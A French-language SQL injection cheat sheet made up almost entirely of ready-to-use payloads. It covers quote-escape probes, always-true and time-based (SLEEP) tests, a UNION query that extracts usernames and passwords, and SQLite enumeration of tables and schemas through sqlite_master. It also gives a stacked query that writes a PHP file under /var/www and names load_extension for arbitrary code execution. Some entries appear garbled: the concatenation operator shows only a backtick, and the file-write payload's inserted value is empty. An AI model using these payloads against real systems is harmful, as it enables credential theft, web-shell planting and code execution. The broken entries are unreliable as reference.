Fiche memo
Détection Initiale des Points d'Entrée
Échappement des Caractères :
[Nothing]
'
"
`
')
")
`)
'))
"))
`))Test de Caractères Spéciaux :
Injection de Quotes :
username=' OR '1'='1Injection de Commentaires :
username=' OR '1'='1--
Tests Booléens :
Conditions Toujours Vraies :
username=' OR '1'='1Conditions Toujours Fausses :
username=' AND '1'='2
Tests de Chargement Différé :
Attaques Basées sur le Temps :
username=' OR IF(1=1, SLEEP(5), 0)--
Tests de UNION :
Injection UNION :
' UNION SELECT NULL, NULL, username, password FROM users--
Commentaires
SQLite
Objectif
Requête/Commande
Description
Concatenation de chaînes
`
Commentaires
--
Ajoute un commentaire sur une ligne dans SQL. Tout ce qui suit -- sur la même ligne sera ignoré.
Conditions
CASE WHEN key='value1' THEN 'something' WHEN key='value2' THEN 'somethingelse'
Permet d'implémenter des conditions logiques dans une requête SQL. Utilisé pour appliquer des conditions spécifiques.
Sous-chaînes
substr(string,start,stop)
Extrait une sous-chaîne de la chaîne string, commençant à start et finissant à stop.
Longueur d'une chaîne
length(string)
Retourne la longueur de la chaîne string.
Quotes sans les guillemets littéraux
cast(X'27' as text) ; cast(X'22' as text)
Utilisé pour représenter des apostrophes (') et des guillemets (") dans des chaînes littérales. X'27' représente l'apostrophe et X'22' le guillemet double.
Énumération des noms de tables
' UNION SELECT name FROM sqlite_master WHERE type='table' ;
Récupère les noms de toutes les tables dans la base de données.
Énumération du schéma des tables
' UNION SELECT sql FROM sqlite_master WHERE type='table' ;
Récupère les requêtes de création de toutes les tables, fournissant le schéma de chaque table.
Extraction de données basée sur le temps
cond='true' AND 1=randomblob(100000000) ;
Introduit un délai en fonction de la condition cond. Utilisé pour des attaques de temporisation.
Écriture de fichiers
1';ATTACH DATABASE ‘/var/www/lol.php’ AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES (‘’;--
Écrit des données dans une base de données en attachant une nouvelle base de données et créant une table. Requiert l'accès direct à la base ou des options de requête empilées.
Exécution de code arbitraire
load_extension(library_file,entry_point) ;
Charge une bibliothèque dynamique (.dll pour Windows, .so pour Unix) pour exécuter du code arbitraire. Requiert une configuration non par défaut.
Last updated